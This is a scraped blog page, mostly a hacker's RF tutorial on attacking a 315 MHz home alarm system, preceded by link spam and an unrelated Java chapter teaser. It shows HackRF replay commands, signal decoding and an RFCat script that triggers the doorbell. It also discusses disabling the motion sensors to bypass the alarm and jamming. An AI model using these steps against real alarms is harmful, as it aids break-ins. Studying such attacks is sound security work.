href="https://www.google.az/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2019%2F08%2Fthreathunting-splunk-app-mapped-to.html ">Hacking Tools For Beginners </a></li><li> <a href="https://www.google.sh/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2020%2F02%2Fohmybackup-scan-victim-backup.html ">Pentest Tools Online </a></li><li> <a href="https://www.google.mx/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2018%2F10%2Fpwnedornot-v110-tool-to-find-passwords.html ">Pentest Tools Download </a></li><li> <a href="https://www.google.fi/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2019%2F09%2Fsysanalyzer-automated-malcode-analysis.html ">Pentest Tools Open Source </a></li><li> <a href="https://www.google.al/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2019%2F06%2Fandrax-v3-first-and-unique-penetration.html ">Hacking Tools Kit </a></li><li> <a href="https://www.google.ru/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2019%2F11%2Fdonut-generates-x86-x64-or-amd64x86.html ">Pentest Tools List </a></li><li> <a href="https://www.google.bt/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2019%2F12%2Ftop-20-most-popular-hacking-tools-in.html ">Tools For Hacker </a></li><li> <a href="https://www.google.kg/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2018%2F04%2Fdcsyncmonitor-monitors-for-dcsync-and.html ">Physical Pentest Tools </a></li><li> <a href="https://www.google.ps/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2019%2F07%2Fwesng-windows-exploit-suggester.html ">Tools For Hacker </a></li><li> <a href="https://www.google.mu/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2018%2F06%2Fbadmod-v20-detect-website-cms-website.html ">Hack Tool Apk No Root </a></li></ol>

An Overview Of Java

CHAPTER 2 An Overview of Java As in all other computer languages, the elements of Java do not exist in isolation. Rather, they wo...

Baca selengkapnya »

Hacking Everything With RF And Software Defined Radio - Part 1

<br /><h3>This will be a Mini Course on Attacking Devices with RF from a hackers perspective</h3><br />I wanted to learn about hacking devices using radio frequencies(RF) as their communication mechanism , so I looked around the Internet and only found a few scattered tutorials on random things which were either theoretical or narrowly focused. So I bought some hardware and some tools and decided to figure it out myself. The mission was to go from knowing nothing to owning whatever random devices I could find which offer up a good target with multiple avenues of attack and capability for learning.  The devices and tools needed are posted below. As we attack more devices, we will post more info on those devices.<br />You can follow us online at the following if your really bored:<br />Twitter: <a href="https://twitter.com/ficti0n">@Ficti0n</a> , <a href="https://twitter.com/GarrGhar">GarrGhar</a><br /><div class="p2">Site: <a href="http://cclabs.io/">CCLabs.io </a><br /><h2><br /></h2><h2>Items needed to Follow Along: </h2><h3><b><u>Purchase Target:</u> </b></h3><b>Home Alert System:</b> <a href="https://goo.gl/W56Eau">https://goo.gl/W56Eau</a> </div><div class="p4">I settled on hacking a home alert system for the first blog, which contained the following Items:<span class="Apple-converted-space"> </span><br /><ul><li>A doorBell</li><li>Motion Sensors with alarm alerts</li><li>Door sensors to alert when the door is opened</li><li>Home Hub Receiver</li></ul><div><h3><b><u>Purchase Tools Needed: </u></b></h3></div><b>HackRF:</b> <a href="https://goo.gl/3trM5Q">https://goo.gl/3trM5Q</a><br /><b>YardStick:</b> <a href="https://goo.gl/wd88sr">https://goo.gl/wd88sr</a> <br /><b>RTL SDR:</b> <a href="https://goo.gl/B5uUAR">https://goo.gl/B5uUAR</a> <style type="text/css">p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px 'Helvetica Neue'; color: #e4af0a} span.s1 {text-decoration: underline} span.s2 {color: #454545} </style> <br /><div><style type="text/css">p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px 'Helvetica Neue'; color: #e4af0a} span.s1 {color: #454545} span.s2 {text-decoration: underline ; color: #e4af0a} </style> </div></div><div class="p2"><br /><br /><h2>Penetration Testing BrainStorming Session: </h2></div><div class="p4">I brainstormed with a friend the following attack avenues for this device:<span class="Apple-converted-space"> </span><br /><ul><li>Ring the doorbell<span class="Apple-converted-space">  </span>(Our Hello World)<span class="Apple-converted-space"> </span></li><li>Trigger the motion sensors</li><li>Remotely disable the motion sensors</li><li>Jam frequencies for Denial Of Service<span class="Apple-converted-space"> </span></li></ul></div><div class="p2"><br /></div><div class="p4">This blog will cover all of the attacks performed, including code, data captures, so you can follow along even if you don't have all of the exact devices but want to play around with it yourself. These are the the topics covered so you can decide if you want to read further or watch the associated videos linked below.<span class="Apple-converted-space"> </span><br /><br /><ul><li>Using HackRF for RF Replay attacks<span class="Apple-converted-space"> </span></li><li>Using Yardstick One for Replay attacks<span class="Apple-converted-space"> </span></li><li>Demodulating and decoding signals for use with RF attacks<span class="Apple-converted-space"> </span></li><li>Discovering and troubleshooting issues</li><li>Coding tools in python and RFCat</li><li>RF Jamming Attacks</li></ul></div><h3></h3><h2><b><br /></b></h2><h2><b>Video Series PlayList Associated with this blog:<span class="Apple-converted-space"> </span></b></h2><iframe allowfullscreen="" frameborder="0" height="315" src="https://www.youtube.com/embed/videoseries?list=PLCwnLq3tOElpXe1HqK6m-wVDCsqyBNhlb" width="560"></iframe> <br /><div><b><span class="Apple-converted-space"><br /></span></b></div><div class="p2"><br /></div><h2><b>Initial Profiling of our Device:<span class="Apple-converted-space"> </span></b></h2><div class="p4">What does our device do in normal operation?<span class="Apple-converted-space">   </span></div><div class="p4">Taking a look at all the components, there is a receiving station which sets off alarms based on opening doors, motion from a motion sensor and the pressing of a doorbell. <span class="Apple-converted-space"> </span></div><div class="p2"><br /></div><div class="p4">How do they Connect?</div><div class="p4">All of these devices are only connected to each other via wireless, they are not connected to any sort of local network or wires. So they are all communicating in an unknown frequency we need determine before we can start hacking them.<span class="Apple-converted-space"> </span></div><div class="p2"><br /></div><div class="p4">Determining the Frequency:<span class="Apple-converted-space"> </span></div><div class="p4">To profile our device for the frequency its transmitting on we can use the FCID located on the back of any of the transmitters. We can do this by going to <a href="https://fccid.io/"><span class="s2">https://fccid.io/</span></a> and typing in the FCID from the back of our device. This will provide data sheets, and test reports which contain the information needed to sniff our devices radio transmissions. This site also contains internal device pictures which are useful if you wanted to try hardware hacking. For example looking for Integrated Circuits(IC) numbers or debug interfaces. In this case we only care about the RF frequencies our device is using which happens to be the 315MHz as show below from the fccid website.<span class="Apple-converted-space"> </span></div><div class="p2"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizBSKEjSPybKDgpxjD0epFX1bP6Tyteao98ehQIhM040iXBGRSjRW_Zg499NQ1zV9_VF37lFiSenAGABHwM2FapV5ok9X_HbcFkjrO1o7WpQ5dkNpiSpXTxyOq8Pz-Io5BeySnHTRk2sR4/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="132" data-original-width="225" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizBSKEjSPybKDgpxjD0epFX1bP6Tyteao98ehQIhM040iXBGRSjRW_Zg499NQ1zV9_VF37lFiSenAGABHwM2FapV5ok9X_HbcFkjrO1o7WpQ5dkNpiSpXTxyOq8Pz-Io5BeySnHTRk2sR4/s1600/1.png" /></a></div><br /><br /><style type="text/css">p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px 'Helvetica Neue'; color: #454545} </style> <br /><h2><b>Replay attacks with HackRF To Trigger / Disable Sensors:<span class="Apple-converted-space"> </span></b></h2><div class="p4">Armed with the frequency range only and no other information we decided to see if we can just blindly capture and replay a transmissions raw form to perform actions without the legitimate transmitters and without understanding anything.<span class="Apple-converted-space"> </span></div><div class="p2"><br /></div><div class="p4">Below is a photo of the HackRF One hardware used in the first attack and linked above.<span class="Apple-converted-space"> </span></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEguAl9tIIGpmCYTB5EcaPEsPCa9tOF65aDWWE3v9gC2P-GtbNGxkjvcZ0tuCY_Dc8k68YxtZQTJ-cKOL8oDQeV0a-Y_KYfc57RUc0SewIgF4blycHfX9EWmRoDJoJEmwzfZAiqDabR1GvPT/s1600/HackRFOne.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="178" data-original-width="284" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEguAl9tIIGpmCYTB5EcaPEsPCa9tOF65aDWWE3v9gC2P-GtbNGxkjvcZ0tuCY_Dc8k68YxtZQTJ-cKOL8oDQeV0a-Y_KYfc57RUc0SewIgF4blycHfX9EWmRoDJoJEmwzfZAiqDabR1GvPT/s1600/HackRFOne.jpeg" /></a></div><div class="p2"><br /></div><div class="p2"><br /></div><div class="p4"><h3><b>Install HackRF Software:<span class="Apple-converted-space"> </span></b></h3></div><div class="p4">Install on OS X for HackRF is as simple as using Brew install, on Linux use the package manager for your distro:<span class="Apple-converted-space"> </span><br /><ul><li>brew install hackrf</li><li>Plug in HackRF and type hackrf_info to confirm its working</li></ul></div><div class="p2"><br /></div><div class="p4">Our Hello World attack is a simple replay attack of a raw capture to perform a normal operation initiated by HackRF instead of the device. We can perform this attack without understanding anything about the capture and decoding of signals.<span class="Apple-converted-space"> </span></div><div class="p2"><br /></div><div class="p4">With the HackRF device and 2 simple commands we will capture the transmission and then replay it as if it was from the initial device in its raw format.<span class="Apple-converted-space">  </span>The following 2 commands are listed below.<span class="Apple-converted-space">  </span>The -r is used to receive and the -t is used to transmit (RX, TX) you will also notice a -R on the transmit command which continuously repeats in TX mode denoted by "Input file end reached. Rewind to beginning" within the transmit output below. We use this in case the first transmission is not seen by the device. The other switches are for gain.<span class="Apple-converted-space"> </span></div><div class="p2"><b><br /></b></div><div class="p2"><h3><b>Simple Replay Commands: </b></h3></div><div class="p4">hackrf_transfer -r connector.raw -f 315000000 -l 24 -g 20</div><div class="p4">hackrf_transfer -t connector.raw -f 315000000 -x 40 -R</div><div class="p2"><br /></div><div class="p4">By using these commands we can capture the motion sensor transmission and replay it in raw format to create a false alarm, we can also capture the doorbell transmission and trigger an alarm.<span class="Apple-converted-space">  </span>Output of the commands needed to do this are shown below. The video associated with this blog shows the audio and visual output from the alarm system as well as a video form of this blog. <span class="Apple-converted-space"> </span></div><div class="p2"><br /></div><h3>Receive: (Capture Traffic from HackRF):<span class="Apple-converted-space"> </span></h3><div class="p4">Destroy: ficti0n$ <b>sudo hackrf_transfer -r connector.raw -f 315000000 -l 24 -g 20</b></div><div class="p4">call hackrf_set_sample_rate(10000000 Hz/10.000 MHz)</div><div class="p4">call hackrf_set_freq(315000000 Hz/315.000 MHz)</div><div class="p4">Stop with Ctrl-C</div><div class="p4">19.9 MiB / 1.005 sec = 19.8 MiB/second</div><div class="p4">20.2 MiB / 1.001 sec = 20.2 MiB/second</div><div class="p4">19.9 MiB / 1.004 sec = 19.9 MiB/second</div><div class="p4">20.2 MiB / 1.005 sec = 20.1 MiB/second</div><div class="p4">^CCaught signal 2</div><div class="p4"><span class="Apple-converted-space"> </span>5.2 MiB / 0.257 sec = 20.4 MiB/second</div><div class="p2"><br /></div><div class="p4">Exiting...</div><div class="p4">Total time: 4.27196 s</div><div class="p4">hackrf_stop_rx() done</div><div class="p4">hackrf_close() done</div><div class="p4">hackrf_exit() done</div><div class="p4">fclose(fd) done</div><div class="p4">exit</div><div class="p2"><br /></div><h3>Transmit: (Trigger alarm from HackRF)<span class="Apple-converted-space"> </span></h3><div class="p4">Destroy: ficti0n$ <b>sudo hackrf_transfer -t connector.raw -f 315000000 -x 40 -R</b></div><div class="p4">call hackrf_set_sample_rate(10000000 Hz/10.000 MHz)</div><div class="p4">call hackrf_set_freq(315000000 Hz/315.000 MHz)</div><div class="p4">Stop with Ctrl-C</div><div class="p4">19.9 MiB / 1.000 sec = 19.9 MiB/second</div><div class="p4">19.9 MiB / 1.005 sec = 19.8 MiB/second</div><div class="p4">20.2 MiB / 1.005 sec = 20.1 MiB/second</div><div class="p4">20.2 MiB / 1.000 sec = 20.2 MiB/second</div><div class="p4">Input file end reached. Rewind to beginning.</div><div class="p4">20.2 MiB / 1.005 sec = 20.1 MiB/second</div><div class="p4">20.2 MiB / 1.001 sec = 20.2 MiB/second</div><div class="p4">19.9 MiB / 1.005 sec = 19.8 MiB/second</div><div class="p4">20.2 MiB / 1.000 sec = 20.2 MiB/second</div><div class="p4">^CCaught signal 2</div><div class="p4">12.8 MiB / 0.654 sec = 19.7 MiB/second</div><div class="p2"><br /></div><div class="p4">Exiting...</div><div class="p4">Total time: 12.68557 s</div><div class="p4">hackrf_stop_tx() done</div><div class="p4">hackrf_close() done</div><div class="p4">hackrf_exit() done</div><div class="p4">fclose(fd) done</div><div class="p4">exit</div><div class="p2"><br /></div><div class="p4">While this is a good POC that we can communicate with the door alert system, this did not provide much of a learning opportunity nor did it drastically reduce the effectiveness of the security system. It only provides false alarms of standard functionality. Lets try doing this the more complicated way by profiling the device a bit more, capturing traffic, reducing the wave patterns to binary, converting to hex and then sending it over another device for a bit more precision and learning opportunity.<span class="Apple-converted-space">  </span>This will also open up other attack vectors. This sounds complicated, but honestly its not complicated just a bit tedious to get right at first.<span class="Apple-converted-space"> </span></div><div class="p2"><br /></div><h2><b>Further Profiling our Devices Functionality:<span class="Apple-converted-space"> </span></b></h2><div class="p4">We are easily able to replay functionality when initiating actions ourselves with our HackRF, but what else is going on with the radio transmissions? In order to monitor the transmissions in a very simple way we can use tools such as GQRX with either our HackRF device or an inexpensive SDR Dongle and view the 315MHz radio frequency to see whats happening.<span class="Apple-converted-space"> </span></div><div class="p2"><br /></div><div class="p2"><h3><b>GQRX Install:</b></h3></div><div class="p4">You can grab GQRX from the following location for OSX,<span class="Apple-converted-space">  </span>on linux whatever package manager your distro uses should be sufficient for installing GQRX:<span class="Apple-converted-space"> </span></div><div class="p5"><a href="http://gqrx.dk/download">http://gqrx.dk/download</a></div><div class="p2"><br /></div><div class="p4">Plug in your SDR dongle of choice (HackRF or RTL-SDR, load up GQRX, and select your device, in this case a cheap 19 dollar RTL SDR:<span class="Apple-converted-space"> </span></div><div class="p4"><span class="Apple-converted-space"><br /></span></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhn2vtIutAAhvYw-FPcoXR-A8n0FaaCdJ1YjPNS8CkAYeKmfO3LBn5TSjRZz_ttmSMW0uQUa8yUGNwaxbcdS_6JZuSAkLNOb8Gu4X6fwwgb3OCQ9uiWjszCiIfsU09t3s0YODMedOf7h06v/s1600/GQRX_Settings.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="886" data-original-width="674" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhn2vtIutAAhvYw-FPcoXR-A8n0FaaCdJ1YjPNS8CkAYeKmfO3LBn5TSjRZz_ttmSMW0uQUa8yUGNwaxbcdS_6JZuSAkLNOb8Gu4X6fwwgb3OCQ9uiWjszCiIfsU09t3s0YODMedOf7h06v/s320/GQRX_Settings.png" width="243" /></a></div><div class="p4"><span class="Apple-converted-space"><br /></span></div><div class="p2"><br /></div><div class="p2"><br /></div><div class="p2"><br /></div><div class="p4">Select OK and the interface will load up, I made the following changes.<br /><br /><ul><li>I changed the mode under receiver options on the right hand side to AM for Amplitude modulation.</li><li>I changed the MHz at the top to 315000000 since that is what we saw on the fccid.io data sheets.<span class="Apple-converted-space"> </span></li><li>I then hit play and could view the 315 MHz frequency range.<span class="Apple-converted-space"> </span></li></ul></div><div class="p2"><br /></div><div class="p4">When triggering any of the transmit devices I saw a spike in the frequency close to the 315 MHz range.<span class="Apple-converted-space">  </span>I then held down the doorbell button since this transmit device would just keep replaying over and over while pressed. While this was repeating I dragged the bar to match the frequency exactly. Which was actually roughly 314.991.600 give or take.<span class="Apple-converted-space"> </span></div><div class="p2"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlM3G4dibLWzHLqdYEwLajuJnLrefi39TrFe9U1dOPpQqkajZpHd2xpdRRhfDC41C0QYSflH1mUV-0xOGCdXiiIOshNxmUiZQ6Ugv_uApkbkBKiTekTqxWoX3v4695qo6s1acURh-iuWVl/s1600/GQRX+Capture.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="840" data-original-width="1600" height="332" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlM3G4dibLWzHLqdYEwLajuJnLrefi39TrFe9U1dOPpQqkajZpHd2xpdRRhfDC41C0QYSflH1mUV-0xOGCdXiiIOshNxmUiZQ6Ugv_uApkbkBKiTekTqxWoX3v4695qo6s1acURh-iuWVl/s640/GQRX+Capture.png" width="640" /></a></div><div class="p2"><br /></div><div class="p2"><br /></div><div class="p4">I then triggered the motion sensor and saw a similar spike in frequency, but I also noticed the motion sensor transmitter sends a 2nd transmission after about 6 seconds to shut off the light on the receiver hub that no more motion is happening. A little testing showed this<span class="Apple-converted-space">  </span>will disable the alarm from triggering during a limited time period. <span class="Apple-converted-space"> </span></div><div class="p2"><br /></div><div class="p4"><b>Can we replay the Motion Sensor Turn off??<span class="Apple-converted-space"> </span></b></div><div class="p4">I tried to repeat the simple replay attack of turning off the motion sensor with HackRF, however unless your capture timing is perfect to reduce any extra data the sensor disable is rather spotty and still sometimes triggers an alarm. Even with a short capture the raw file was 40mb in size. If you were to try to breach a building and disable its sensors there is a 50% chance or so the motion sensor will be triggered.<span class="Apple-converted-space">  </span>So this is not a sufficient method of disabling the motion sensor alarm. I only want a 100% chance of success if I was to try to bypass a security system.<span class="Apple-converted-space">  </span>So we need another technique.<span class="Apple-converted-space">  </span>I read online a bit and found something about decoding signal patterns into binary which sounded like a good way to reduce the extra data for a more reliable alarm bypass and decided to start with the simple doorbell as a test due to its ease of use, prior to working with less reliable transmissions based on motion and timing. <span class="Apple-converted-space"> </span></div><div class="p2"><br /></div><div class="p2"><br /></div><div class="p2"><br /></div><h2><b>Decoding Signal Patterns for Sending With The YardStick One:<span class="Apple-converted-space"> </span></b></h2><div class="p4">Below is a picture of the yard Stick tool used in the following attacks</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkATG0kKp03jMlNNJum4JNQ_LqUsOKeL6lmUnkYwZgxbjCCeNgC4GBmWPFQd622QxAg8Opjb_4-FVukK5GQbmQjV7wu1yj7EMwSCtD5mM0nza1cTO_B7mUDI8KvVjWxwRkLJbbmI0xO5-E/s1600/YardStickOne.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="173" data-original-width="291" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkATG0kKp03jMlNNJum4JNQ_LqUsOKeL6lmUnkYwZgxbjCCeNgC4GBmWPFQd622QxAg8Opjb_4-FVukK5GQbmQjV7wu1yj7EMwSCtD5mM0nza1cTO_B7mUDI8KvVjWxwRkLJbbmI0xO5-E/s1600/YardStickOne.jpeg" /></a></div><div class="p2"><br /></div><div class="p2"><br /></div><div class="p4"><h3><b>Documented Process:<span class="Apple-converted-space"> </span></b></h3></div><div class="p4">Based on my online research in order to capture a signal and retransmit using a yardstick we need to do the following:<span class="Apple-converted-space"> </span><br /><br /><ul><li>Record the transmission with the SDR dongle and GQRX</li><li>Demodulate and Decode with Audacity into binary (1s & 0s)</li><li>Convert the Binary to Hex (0x)</li><li>Replay with YardStick in python and RFCat libraries<span class="Apple-converted-space"> </span></li></ul></div><div class="p2"><br /></div><div class="p4"><h3><b>Troubleshooting Extra Steps:<span class="Apple-converted-space"> </span></b></h3></div><div class="p4">However I found a few issues with this process and added a few more steps below. I am not trying to pretend everything worked perfectly. I ran into a few problems and these trouble shooting steps fixed the issues I ran into and I will list them below and explain them in this section as we walk through the process:<span class="Apple-converted-space"> </span><br /><br /><ul><li>Record your YardStick Replay with GQRX and adjust the frequency again based on output</li><li>Compare your transmission waveform to that of the original transmitters waveform to insure your 1's & 0's were calculated properly</li><li>Add some<span class="Apple-converted-space">  </span>padding in form of \x00 to the end of your Hex to make it work.<span class="Apple-converted-space"> </span></li><li>Adjust the number of times you repeat your transmissions</li></ul></div><div class="p2"><br /></div><div class="p2"><h3><b>Record Transmission with GQRX: </b></h3></div><div class="p4">OK so first things first, load your GQRX application and this time hit the record button at the bottom right side prior to triggering the doorbell transmitter. This will save a Wav file you can open in audacity. </div><div class="p4"><br /></div><div class="p4"><h3><b>Install Audacity: </b></h3></div><div class="p4">You can download audacity at the following link for OSX as well as other platforms. <a href="http://www.audacityteam.org/download/"><span class="s2">http://www.audacityteam.org/download/</span></a><span class="Apple-converted-space">  </span>You should also be able to use your distro's package management to install this tool if it is not found on the site.<span class="Apple-converted-space"> </span></div><div class="p2"><br /></div><div class="p4">If you open up your wav file and zoom in a little with Command+1 or the zoom icon you should start to see a repeating pattern similar to this:<span class="Apple-converted-space"> </span></div><div class="p2"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGN8ASJD51HnNxKqsWAgd5CCisYoADemMfnTj_5f5wTdW2is9P3gWsS-2J-_dSf3qbdwz16KofuQeBRdUeAnHPqKcmit0dxkbpc7wVSZ1W43t7Z0n5kx98f5c5yEgMfFkT-T-mevA7XJ-8/s1600/DoorBellCapture.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="544" data-original-width="970" height="358" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGN8ASJD51HnNxKqsWAgd5CCisYoADemMfnTj_5f5wTdW2is9P3gWsS-2J-_dSf3qbdwz16KofuQeBRdUeAnHPqKcmit0dxkbpc7wVSZ1W43t7Z0n5kx98f5c5yEgMfFkT-T-mevA7XJ-8/s640/DoorBellCapture.png" width="640" /></a></div><div class="p2"><br /></div><div class="p2"><br /></div><div class="p4">We need to decode one of these to trigger the doorbell. So we will need to zoom in a bit further to see a full representation of one of these patterns.<span class="Apple-converted-space">  </span>Once we zoom in a bit more we see the following output which is wave form representation of your transmission. The high points are your 1's and the low points are your 0's:<span class="Apple-converted-space"> </span></div><div class="p2"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhujbaxGx3CvN6D9WTMnsxGWT_fHZFLtEZRzLjr55phIAE90f_Q_965jZALUr5yff4FtL00hg_lqDKmpheFUzGu6yFkgNPHt3ncDhrGe7_gvkMa1YvD-H1YALkHact-2WgexIsC8ykTKXs7/s1600/DoorBellZoomedIN.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="616" data-original-width="1090" height="360" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhujbaxGx3CvN6D9WTMnsxGWT_fHZFLtEZRzLjr55phIAE90f_Q_965jZALUr5yff4FtL00hg_lqDKmpheFUzGu6yFkgNPHt3ncDhrGe7_gvkMa1YvD-H1YALkHact-2WgexIsC8ykTKXs7/s640/DoorBellZoomedIN.png" width="640" /></a></div><div class="p2"><br /></div><div class="p2"><br /></div><h3>Decode to binary: </h3><div class="p4">So the main issue here is how many 1's and how many 0's are in each peak or valley?? <span class="Apple-converted-space">  </span>Originally I was thinking that it was something like the following formatted in 8 bit bytes, but this left over an extra 1 which seemed odd so I added 7 0's to make it fit correctly.<span class="Apple-converted-space">  </span>(Probably incorrect but hey it worked LOLs)<span class="Apple-converted-space"> </span></div><div class="p4">10111000 10001011 10111000 10001000 10001011 10111011 10000000</div><div class="p2"><br /></div><div class="p4">What the above binary means is that the first high peek was One 1 in length, the first low peek was One 0 in length and the larger low and high's were Three 111s in length. This seemed reasonable based on how it looks. <span class="Apple-converted-space"> </span></div><div class="p2"><br /></div><div class="p4">Try converting it yourself, does it look like my representation above?<span class="Apple-converted-space"> </span></div><div class="p2"><br /></div><h3>Convert to Hex:</h3><div class="p4">In order to send this to the receiver device we will need to convert it to hex. We can convert this to hex easily online at the following URL:<span class="Apple-converted-space"> </span></div><div class="p5"><a href="http://www.binaryhexconverter.com/binary-to-hex-converter">http://www.binaryhexconverter.com/binary-to-hex-converter</a></div><div class="p2"><br /></div><div class="p4">Or you can use radare2 and easily convert to hex by formatting your input into 8 bit byte segments followed by a "b" for binary as follows and it will spit out some hex values you can then use to reproduce the transmission with the yardstick:<span class="Apple-converted-space"> </span></div><div class="p2"><br /></div><div class="p4">Destroy:~ ficti0n$ <b>rax2 10111000b 10001011b 10111000b 10001000b 10001011b 10111011b 10000000b</b></div><div class="p4">0xb8</div><div class="p4">0x8b</div><div class="p4">0xb8</div><div class="p4">0x88</div><div class="p4">0x8b</div><div class="p4">0xbb</div><div class="p4">0x80</div><div class="p4"><br /></div><div class="p4">In order to send this with the YardStick you will need to use a python library by the name of RFCat which interfaces with your Yardstick device and can send your Hex data to your receiver.<span class="Apple-converted-space">  </span>We can easily do this with python. Even if you do not code it is very simple code to understand.<span class="Apple-converted-space">  </span>In order to install RFCat you can do the following on OSX:<span class="Apple-converted-space">  </span>(Linux procedures should be the same)<span class="Apple-converted-space"> </span></div><div class="p2"><br /></div><div class="p3"><h3><b>Install RFCat and Dependencies(libusb, pyusb):<span class="Apple-converted-space"> </span></b></h3></div><div class="p4">git clone https://github.com/atlas0fd00m/rfcat.git</div><div class="p4">cd rfcat/</div><div class="p4">sudo python setup.py install</div><div class="p4">cd ../</div><div class="p4">git clone https://github.com/walac/pyusb.git</div><div class="p4">cd pyusb/</div><div class="p4">sudo python setup.py install</div><div class="p4">easy install pip</div><div class="p4">pip install libusb</div><div class="p4">Plug in your device and run the following to verify:<span class="Apple-converted-space"> </span></div><div class="p4">rfcat -r</div><div class="p2"><br /></div><div class="p2"><br /></div><h3><b>Setting up your python Replay Attack:<span class="Apple-converted-space"> </span></b></h3><div class="p4">First convert our hex from 0xB8 format to \xB8 format and place it in the following code:</div><div class="p4">Hex Conversion for the python script:<span class="Apple-converted-space"> </span></div><div class="p2">\xb8\x8b\xb8\x88\x8b\xbb\x80</div><div class="p4"><br /></div><div class="p4">I provided a few notations under the code to help understanding but its mostly self explanatory:<span class="Apple-converted-space"> </span></div><div class="p2"><br /></div><div class="p4">#--------Ring the doorbell--------#:<span class="Apple-converted-space"> </span></div><div class="p4">from rflib import *</div><div class="p2"><br /></div><div class="p4">d = RfCat() <span class="Apple-converted-space">  </span>#1</div><div class="p4">d.setFreq(315005000)<span class="Apple-converted-space">  </span>#2</div><div class="p4">d.setMdmModulation(MOD_ASK_OOK) #3</div><div class="p4">d.setMdmDRate(4800) #4<span class="Apple-converted-space"> </span></div><div class="p2"><br /></div><div class="p4">print "Starting"</div><div class="p4">d.RFxmit("\xb8\x8b\xb8\x88\x8b\xbb\x80"*10) #5</div><div class="p4">print 'Transmission Complete'</div><div class="p2"><br /></div><div class="p4">#--------End Code --------#</div><div class="p4">#1 Creating a RfCat instance</div><div class="p4">#2 Setting your Frequency to the capture range from your GQRX output</div><div class="p4">#3 Setting the modulation type to ASK Amplitude shift keying</div><div class="p4">#4 Setting your capture rate to that of your GQRX capture settings<span class="Apple-converted-space"> </span></div><div class="p4">#5 Transmit your Hex 10 times</div><div class="p2"><br /></div><h2><b>Ring Doorbell with Yardstick (First Attempt):<span class="Apple-converted-space"> </span></b></h2><div class="p4">Plug your YardStick into the USB port and run the above code. This will send over your command to ring the doorbell.<span class="Apple-converted-space"> </span></div><div class="p2"><br /></div><div class="p4">Destroy:ficti0n$ python Door.py</div><div class="p4">Starting</div><div class="p4">Transmission Complete</div><div class="p2"><br /></div><div class="p4">However, this will fail and we have no indication as to why it failed. There are no program errors, or Rfcat errors. The only thing I could think is that that we sent the wrong data, meaning we incorrectly decoded the wave into binary. So I tried a bunch of different variations on the original for example the short lows having Two 1's instead of One and all of these failed when sending with the Yardstick.<span class="Apple-converted-space"> </span></div><div class="p2"><br /></div><div class="p2"><br /></div><h3><b>Doorbell with Yardstick (TroubleShooting):<span class="Apple-converted-space"> </span></b></h3><div class="p4">I needed a better way to figure out what was going on. One way to verify what you sent is to send it again with the Yardstick and capture it with your RTL-SDR device in GQRX. You can then compare the pattern we sent with the yardstick, to the original transmission pattern by the transmitter device.<span class="Apple-converted-space"> </span></div><div class="p2"><br /></div><div class="p4">The first thing you will notice when we capture a Yardstick transmission is the output is missing the nice spacing between each transmission as there was in the original transmission. This output is all mashed together:<span class="Apple-converted-space"> </span></div><div class="p2"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3u2Qym6HE1GqfHj05IYrNs1I2oNhZfwwIYxYEdVnFeqkkC3NO6CXWwhln1ZhHYRk30P3pff-7XD3UkKc8YtIeabrx7qie-CIXM-RtQRza18ksInx0-P9AaGmiGatLCGGVobM5e3srb9Th/s1600/YardStickZoomOutCapture.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="558" data-original-width="1590" height="224" 